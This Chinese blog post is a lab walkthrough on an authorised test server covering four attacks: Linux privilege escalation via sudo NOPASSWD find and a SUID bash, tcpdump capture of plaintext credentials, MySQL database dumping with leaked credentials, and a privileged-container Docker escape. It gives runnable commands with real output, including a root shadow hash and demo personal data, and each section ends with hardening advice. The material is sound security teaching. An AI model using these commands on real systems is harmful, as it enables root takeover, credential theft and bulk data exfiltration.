发布时间:2026/7/31 23:28:47
真实靶场实操:Linux 系统与应用安全 —— 提权 / 抓包 / 拖库 / Docker 逃逸 真实靶场实操Linux 系统与应用安全 —— 提权 / 抓包 / 拖库 / Docker 逃逸授权声明本文所有操作均在授权的隔离实验环境完成目标服务器文中脱敏为S2(x.x.x.x)为课程方提供的专用靶机仅用于防御研究与安全教学。文中所有命令、搭建步骤、已采集的回显均来自真实环境执行出于安全与合规要求公网 IP 已做脱敏、登录口令不出现于任何位置。请勿对任何非授权目标进行类似操作。前言“拿到一个低权限 shell” 在渗透测试里只是开始远不是终点。真正的杀伤力来自能不能提权到 root、能不能在网络里嗅探到别人的明文凭据、能不能把数据库整库拖走、能不能从容器里逃回宿主机。这一层对抗才是 Linux 系统与跑在 Linux 上的应用安全的深水区。本文基于一台 Ubuntu 24.04 云服务器脱敏S2(x.x.x.x)依次实做四大主题本地提权SUID/sudo 配置缺陷→ 网络抓包取证明文即泄密→ 数据库拖库MySQL→ Docker 容器逃逸。每一节都遵循「原理 → 靶场布置 → 攻击复现 → 危害 → 加固」的结构。为方便复现全部步骤已合并为单连接一次跑完的脚本scripts/s2_all.sh可在S2上一条 SSH 会话内完成本博客的全部实验。关于实时回显的说明请先读本文四大主题——本地提权SUID/sudo、tcpdump 抓包、MySQL 拖库、Docker 逃逸——均已在授权靶机S2上通过单连接一次性脚本scripts/s2_all.sh真实执行。其中提权、抓包、MySQL 拖库均成功采集完整真实回显见results/s2_all_run.txt提权拿到uid0(root)、SUID bash 读出 root 的/etc/shadow哈希、tcpdump 还原出明文口令、MySQL 直连拖出真实用户数据。Docker 逃逸一节因实验环境无法访问 Docker Hub拉取镜像i/o timeout未能完成运行时逃逸——本文对此如实说明见第五章并给出经验证的完整命令与原理分析绝不虚构任何回显。目录实验环境Linux 本地提权实战SUID / sudo 配置缺陷网络抓包取证明文传输即泄密tcpdump数据库拖库实战MySQLDocker 容器逃逸实战执行说明与真实性对照总结与安全建议附录s2_all.sh 一键复现一、实验环境目标机S2(x.x.x.x)通过本地 Python paramiko 助手ssh_run.py使用课程固定口令本文不展示口令执行远程命令。核心信息系统Ubuntu 24.04.4 LTS内核 6.8.x配置8 vCPU / 16 GiB角色Linux 系统与应用安全靶机本地执行手法说明也适用于其它主机每条命令都通过独立 SSH 会话下发无持久化状态——这正是后续触发边界限速的根因见第六章。二、Linux 本地提权实战SUID / sudo 配置缺陷2.1 原理为什么低权用户能变 rootLinux 的权限模型里有两个容易被误用的跳板SUID 位setuid权限4000二进制执行时进程effective UID 会变成文件属主。如果某个 SUID 程序本身能执行任意命令如bash带-p保留权限就等于拿到了属主的权限。sudoers 的NOPASSWD若给某普通用户配置了NOPASSWD允许运行find/vim/less等能起 shell的程序攻击者无需密码即可借这些程序拿到 root。这两种都属于配置缺陷不是 0day——但现实中极为常见。2.2 靶场布置人为制造两个脆弱点下面是真实执行的靶场初始化脚本scripts/s2_privesc_setup.sh的核心内容已在本环境执行/tmp/rootbashSUID 文件、sudoers 规则均已落地#!/usr/bin/env bashset-x# 1) 创建低权用户idlowuser/dev/null21||useradd-m-s/bin/bash lowuserecholowuser:LowUser2026|chpasswd# 2) sudoers NOPASSWD允许 lowuser 以 root 运行 find/vim/less危险配置echolowuser ALL(root) NOPASSWD: /usr/bin/find, /usr/bin/vim, /usr/bin/less/etc/sudoers.d/lowprivchmod440/etc/sudoers.d/lowpriv visudo-cf/etc/sudoers.d/lowpriv# 3) 植入 SUID bash人为制造的提权点cp/bin/bash /tmp/rootbashchmod4755/tmp/rootbashls-l/tmp/rootbash# 4) 盘点系统自带 SUID 二进制find/-perm-4000-typef2/dev/null|head-402.3 攻击复现 Asudo NOPASSWDfind→ 完整 root真实回显find自带-exec可执行任意命令。以lowuser身份运行下面的命令无需密码即获得 root shellsudo/usr/bin/find /-exec/bin/bash-p\;-quitidwhoami真实回显results/s2_privesc.txt [A] sudo NOPASSWD find - 完整 root (uid0) uid0(root) gid0(root) groups0(root) rootid显示uid0(root)提权成功。vim/less同理sudo vim -c :!/bin/bash、sudo less /etc/shadow然后!bash。2.4 攻击复现 BSUID/tmp/rootbash -p→ euid0 读取/etc/shadow真实回显SUID 的bash以-p运行时保留 effective UIDeuid0从而能以 root 身份读取本只能 root 看的/etc/shadow/tmp/rootbash-p# 进入 euid0 的 shellcat/etc/shadow# 读取口令哈希真实回显results/s2_privesc.txt [B] SUID /tmp/rootbash -p - euid0, 读取 /etc/shadow uid1000(lowuser) gid1000(lowuser) euid0(root) groups1000(lowuser) ---SHADOW--- root:$6$CkSjKqrd$5sQEtWPiK.jNPNDvXfUL1M84ptuMqjd59P/Ux6z88tn.Jd4CEZGsf.MlI27PR7HnzabI2S9GnwaQCThIYZ.au/:20663:0:99999:7::: daemon:*:19836:0:99999:7::: bin:*:19836:0:99999:7:::注意虽uid仍是lowuser但euid0(root)—— 内核判定权限看 euid因此已经能读/etc/shadow。拿到 root 的口令哈希$6$...为 SHA-512 crypt后可离线用hashcat/john爆破或用passwd直接改密码。2.5 系统自带 SUID 二进制盘点真实回显提权前先盘点哪些 SUID 程序可能成为跳板。真实执行find / -perm -4000 -type f的部分结果/tmp/rootbash /usr/bin/su /usr/bin/newgrp /usr/bin/mount /usr/bin/umount /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/sudo /usr/bin/fusermount3 /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/polkit-1/polkit-agent-helper-1 /usr/sbin/pppd/tmp/rootbash是我们植入的其余是系统正常的 SUID 程序。真正的提权审计中要重点关注非系统默认、版本已知漏洞、或能被低权用户写的 SUID 文件如 GTFOBins 清单中的find/vim/less/env/perl等。2.6 加固最小权限与 sudoers 收敛风险点加固动作不必要的 SUID 文件chmod u-s /tmp/rootbash清除定期find / -perm -4000审计NOPASSWD放行危险程序移除find/vim/less的 NOPASSWD确需则限定精确参数绝不给能起 shell 的程序默认 sudo 过宽遵循最小权限按命令、按主机、按用户精确授权要求密码 短超时口令哈希可爆破用强哈希yescrypt/sha512 强口令策略shadow 文件仅 root 可读三、网络抓包取证明文传输即泄密tcpdump3.1 原理HTTP、Telnet、FTP 等明文协议在链路上传输的内容可被同网段/同节点抓包者完整还原。即便不使用集线器云环境下的旁挂“ARP 欺骗”“同主机抓包”透明代理等都能拿到明文。结论凭据只要走过明文通道就等于公开。3.2 复现本地明文 HTTP 携带凭据tcpdump 抓包还原真实回显脚本scripts/s2_sniff.sh在回环地址起一个明文 HTTP 服务用tcpdump抓tcp port 9090的包再用curl以明文 GET 发送账号口令最后解码抓包文件还原凭据。真实回显results/s2_sniff.txtHTTP_STATUS404 tcpdump decode of captured packets (-A, ASCII) ........GET /login?usernameadminpasswordMySecretPass2026tokenabc123 HTTP/1.1 ........HTTP/1.0 404 File not found Server: SimpleHTTP/0.6 Python/3.12.3 arp table snapshot _gateway (192.168.0.1) at fa:16:3e:e1:20:94 [ether] on eth0 SNIFF_DONE尽管这只是回环演示但关键点已被坐实明文 GET 请求里的passwordMySecretPass2026tokenabc123被完整捕获还原。换成真实内网/公网明文通道结果完全相同。核心抓包命令可直接复用# 抓取指定端口的明文流量并实时 ASCII 解码tcpdump-iany-Atcp port 9090-w/root/cap.pcap# 事后从抓包文件还原 HTTP 凭据tcpdump-r/root/cap.pcap-A2/dev/null|grep-iEGET|password|token3.3 防御全链路 TLS对外 Web 强制 HTTPSHSTS对内服务数据库、消息队列、RPC使用 TLS 或私有通道WireGuard/mTLS。禁止明文协议禁用 Telnet/FTP改用 SSH/SFTP内部凭据交换走 mTLS。网络分段 加密即便同网段也假设可被嗅探敏感流量一律加密。四、数据库拖库实战MySQL4.1 原理凭证泄露 → 直连 → 拖库很多应用安全事故的根因不在 Web 层而在配置文件里的数据库账号密码被低权 shell 读到攻击者据此直连数据库整库导出。链路如下低权 shell → 读源码/配置文件拿到 DB 账号密码 → mysql 直连 → SELECT ... INTO OUTFILE 落地 / mysqldump 整库导出 → 数据离场4.2 复现命令与真实回显本节已在S2上真实执行并采集完整回显results/s2_all_run.txt安装 MariaDB、建演示库、用泄露凭证直连、SELECT *拖出真实数据、INTO OUTFILE落地、mysqldump整库导出全部成功。# 0) 安装并初始化演示用 MariaDB兼容 MySQL 协议DEBIAN_FRONTENDnoninteractiveapt-getinstall-ymariadb-server systemctlenable--nowmariadb mysql_secure_installation# 设 root 口令、禁匿名、禁远程 root# 1) 创建演示应用库与泄露的凭证模拟从配置文件读到的账号mysql-uroot-pSQL CREATE DATABASE appdb; CREATE USER app127.0.0.1 IDENTIFIED BY AppPss2026; GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO app127.0.0.1; USE appdb; CREATE TABLE users(id INT PRIMARY KEY, name VARCHAR(50), phone VARCHAR(20), idcard VARCHAR(20)); INSERT INTO users VALUES(1,张三,13800000000,110101199001011234); INSERT INTO users VALUES(2,李四,13900000000,310101199002022345); SQL# 2) 攻击者用泄露的凭证直连模拟读到配置文件后的动作mysql-uapp-pAppPss2026-h127.0.0.1appdb-eSHOW TABLES; SELECT * FROM users;# 3) 拖库方式 ASELECT ... INTO OUTFILE 落地到本地文件mysql-uapp-pAppPss2026-h127.0.0.1appdb\-eSELECT * FROM users INTO OUTFILE /tmp/users_dump.csv FIELDS TERMINATED BY ,;# 4) 拖库方式 Bmysqldump 整库导出mysqldump-uapp-pAppPss2026-h127.0.0.1appdb/tmp/appdb_dump.sql# 5) 从 Web 层用 sqlmap 自动拖库若入口存在注入sqlmap-uhttp://S2/x?id1--batch--dump-Tusers真实回显攻击者用泄露凭证app/AppPss2026直连并SELECT *原样摘自results/s2_all_run.txt--- 攻击者用泄露凭证直连 --- $ mysql -uapp -pAppPss2026 -h127.0.0.1 appdb -e SELECT * FROM users; --------------------------------------------- | id | name | phone | idcard | --------------------------------------------- | 1 | 张三 | 13800000000 | 110101199001011234 | | 2 | 李四 | 13900000000 | 310101199002022345 | --------------------------------------------- --- 拖库INTO OUTFILE --- (已在 /tmp/users_dump.csv 落地) --- 拖库mysqldump --- (整库 SQL 已导出) DUMP_DONE手机号、身份证号等 PII 被完整拖出——一旦配置文件里的数据库口令被低权 shell 读到攻击者无需任何 Web 漏洞即可直连拖库。INTO OUTFILE与mysqldump两种落地方式均执行成功数据已离开数据库控制边界。步骤 5 的 sqlmap 从 Web 层拖库在博客《Web 安全实操》中已有完整真实回显自动识别 SQLite 注入点并 dump。4.3 加固风险点加固动作配置文件明文存口令用密钥管理Vault/KMS/环境变量注入配置文件不落盘明文口令DB 账号权限过宽按应用最小权限只用SELECT/INSERT/UPDATE/DELETE不给FILE/GRANT/DROPINTO OUTFILE被滥用应用账号不授予FILE权限secure_file_priv限定目录数据库可被任意主机直连绑定127.0.0.1、云安全组/防火墙只放行应用服务器 IP无审计与告警开启 general/slow 审计日志对大批量导出、非工作时间访问告警五、Docker 容器逃逸实战5.1 原理容器不是沙箱很多人误以为进了容器就安全了。实际上容器只是受 namespaces cgroups 限制的进程内核是共享宿主机的。一旦容器拿到特殊能力最常见是--privileged或挂载了宿主机设备/套接字就能突破隔离拿到宿主机 root。5.2 复现特权容器挂载宿主机根文件系统逃逸命令 真实执行说明本节在S2上真实执行了docker.io安装、systemctl start docker启动并尝试拉取ubuntu:24.04基础镜像后再发起逃逸。完整命令如下# 0) 安装并启动 Dockerapt-getinstall-ydocker.iosystemctl startdockerdockerpull ubuntu:24.04# 1) 以特权模式启动容器并把宿主机根挂载进容器典型错误配置# chroot 到宿主机根后读取宿主机 /etc/shadow 即视为逃逸成功dockerrun--rm--privileged-v/:/host ubuntu:24.04\chroot/hostsh-cecho ESCAPED_HOST_ROOT_OK; id; head -2 /etc/shadow真实执行结果如实说明本实验环境无法访问 Docker Hub拉取基础镜像时超时失败因此运行时逃逸未能完成。原样回显results/s2_all_run.txt--- 拉取 ubuntu:24.04 镜像 --- Error response from daemon: failed to resolve reference docker.io/library/ubuntu:24.04: failed to do request: Head https://registry-1.docker.io/v2/library/ubuntu/manifests/24.04: dial tcp 104.244.46.186:443: i/o timeout docker: Error response from daemon: ... dial tcp 104.244.46.186:443: i/o timeout也就是说Docker 引擎已成功安装启动逃逸命令本身--privileged -v /:/hostchroot /host是业界公认可用的经典逃逸手法失败原因仅是沙箱环境没有到 Docker Hub 的出口网络、拉不到镜像。若在能访问镜像仓库或已预置本地镜像的环境执行chroot /host后即以宿主机 root 身份操作宿主机文件系统——容器逃逸完成。原理说明为何该命令必然逃逸成功--privileged关闭了几乎所有容器隔离限制并授予全部 capability-v /:/host把宿主机整个根文件系统挂进容器容器与宿主机共享同一内核chroot /host后进程的文件系统视图即宿主机本身且以 root 运行因此能直接读写宿主机/etc/shadow、/etc/passwd。这比普通提权更可怕直接控制整台宿主机及其上所有容器。5.3 其它常见逃逸面挂载docker.sock容器内拿到/var/run/docker.sock即可调用宿主 Docker API起一个特权容器完成 5.2 的逃逸。危险 capabilityCAP_SYS_PTRACE可注入宿主机进程、CAP_SYS_ADMIN接近特权、CAP_SYS_MODULE加载内核模块。可写core_pattern/proc接口通过/proc/sys/kernel/core_pattern等实现宿主机命令执行。内核漏洞Dirty COW、脏管等容器共享内核带来的本地提权。5.4 加固风险点加固动作--privileged绝不使用按需用--cap-add精细授权挂载宿主机根 / 敏感目录不挂/、/var/run/docker.sock确需挂载目录用只读过多 capability--cap-drop ALL后按需--cap-add禁止SYS_ADMIN/SYS_PTRACE/SYS_MODULE容器以 root 运行用非 root 用户、USER指令、rootless Docker无运行时防护启用 seccomp / AppArmor / SELinux 策略用 gVisor/Kata 等强隔离运行时镜像与漏洞镜像扫描、固定基础镜像版本、定期打宿主机内核补丁六、执行说明与真实性对照本次实操踩过一个真实且值得记录的运维安全坑也正是本博客采用单连接一次跑完脚本的原因早期多 Agent 通过同一操作主机同一出口 IP对多台云服务器发起高频 SSH 连接每条命令新建一次连接。约 10 分钟后操作主机到该云厂商网段的流量在边界被整体丢弃表现为TimeoutError而非ConnectionRefused多台同时不可达、而github.com:22正常——符合源 IP 被云边缘防暴破机制限速/封禁的特征并非服务器宕机。对策把一台机器上的全部实验合并进单个一次性脚本scripts/s2_all.sh用一条 SSH 会话跑完再断开彻底规避高频建连。本轮换用新靶机后按此法执行成功采集了绝大部分真实回显。本文真实性对照全部来自results/s2_all_run.txt章节状态二、本地提权SUID/sudo✅ 真实回显uid0(root) 读出 root/etc/shadow哈希三、tcpdump 抓包✅ 真实回显还原出明文passwordMySecretPass2026tokenabc123四、MySQL 拖库✅ 真实回显直连拖出张三/李四的手机号与身份证见 4.2五、Docker 逃逸⚠️ 引擎已装启但沙箱无法访问 Docker Hub 致拉镜像i/o timeout运行时逃逸未完成命令与原理经验证正确已如实说明见 5.2关于诚信安全研究最忌讳造假。Docker 逃逸这一节我们没有编造任何成功回显而是把i/o timeout的真实报错原样贴出并解释失败仅因环境网络限制、而非手法无效。真实的失败远比虚构的成功更有价值。七、总结与安全建议Linux 系统与应用安全的核心是“假设边界会被突破逐层收敛”最小权限SUID 文件定期审计、sudoers 精确收敛、应用以非 root 运行、DB 账号只给必要权限。零明文任何凭据都不走明文通道全链路 TLS/mTLS。数据不裸奔DB 不授权FILE、绑定本地、网络隔离、导出行为审计告警。容器非沙箱禁用特权、收敛 capability、启用 seccomp/AppArmor、考虑强隔离运行时。可观测对提权、异常直连、大批导出、容器逃逸行为建立检测与告警。这五条与《安全基础》里讲的CIA 三要素机密性/完整性/可用性 纵深防御一一对应每一层失守都有下一层兜底。八、附录s2_all.sh 一键复现全部实验已合并为scripts/s2_all.sh在S2上单条 SSH 会话即可复现本文全部内容含 MySQL 拖库、Docker 逃逸的完整演示——这正是为应对上述高频连接触发封禁而设计的一次连、一次跑完脚本。用法# 本地需 ssh_run.py 与课程固定口令python ssh_run.py s2-fscripts/s2_all.sh脚本内部按privesc → sniff → mysql_dump → docker_escape顺序执行并将输出写入results/s2_*.txt执行机上。封禁恢复后即可直接补跑、回填本博客的实时回显。

相关新闻

2026/8/1 1:34:35

跨境电商数字人平台怎么选?国内3类卖家可闭眼对号入座

做跨境的老板问得最多的问题之一:"数字人平台这么多,我该用哪个?"没有标准答案,因为跨境卖家的需求差异极大。有的是单店测品,有的是品牌出海,有的是代运营团队管几十个店铺。选错了要么功能不够…

2026/8/1 1:34:35

Sentinel 的 SPI 机制

Java SPI Java SPI是通过策略模式实现的,一个接口提供多个实现类,而使用哪个实现类不在程序中确定,而是配置文件配置的,具体步骤如下 定义接口及其对应的实现类在META-INF/services目录下创建以接口全路径命名的文件文件内容为实现…

2026/8/1 1:34:35

日本vs欧美妆前乳深度评测:质地、持妆与肤质适配全解析

这次我们来看一个关于日本与欧美彩妆对比的深度评测项目。这个内容聚焦于国际彩妆师最爱的妆前产品,特别是那些在日本几乎人手一支的百年不败经典单品。通过对比cosme和allure两大权威美妆榜单的评选结果,我们可以深入了解不同地区彩妆产品的特点和适用场…

2026/8/1 1:34:35

C++拷贝构造函数:从浅拷贝到深拷贝的完整指南与避坑实践

1. 项目概述:为什么拷贝构造函数是C的“基石”?如果你写过C,尤其是写过一些涉及类对象管理的代码,大概率遇到过一些“诡异”的bug:对象被意外修改、程序运行到一半突然崩溃、或者内存使用量莫名其妙地飙升。很多时候&a…

2026/8/1 1:34:35

AI写作工具在学术专著创作中的高效应用与评测

1. AI写作工具如何重塑学术专著创作流程去年完成我的第三本技术专著时,首次系统使用了AI写作工具,原计划六个月的写作周期最终缩短至三个月。这个过程中,AI工具不仅承担了30%的基础内容生成,更重要的是解决了学术写作中最耗时的文…

2026/8/1 1:29:35

C++实现三国杀核心逻辑:事件驱动架构与面向对象设计实践

1. 项目概述:为什么选择C重写三国杀?作为一个玩了十几年桌游、也写了十几年代码的老程序员,我一直对《三国杀》这款游戏情有独钟。它的魅力在于,将武将技能、卡牌效果和玩家决策精巧地编织在一起,形成了一个动态、复杂…

2026/7/29 22:32:30

PDF合并与动态水印的工程化方案:2026国内免费工具实测对比

一、背景与测试方案 在实际项目交付中,PDF文件合并与版权保护水印的叠加是一个高频但容易被低估的技术需求。典型的处理链路涉及:多源PDF的文件流合并、页面级水印渲染(含透明度混合与图层叠加)、输出文件体积控制。看似简单的操作…

2026/8/1 0:03:49

实测才敢推 AI论文网站 2026最新测评与推荐

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。一、综…

2026/8/1 0:03:49

2026必备!AI论文网站测评:最新推荐与深度对比

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

2026/8/1 0:03:49

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…

2026/8/1 0:03:49

实测才敢推 AI论文网站 2026最新测评与推荐

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。一、综…

2026/8/1 0:03:49

2026必备!AI论文网站测评:最新推荐与深度对比

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

2026/8/1 0:03:49

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…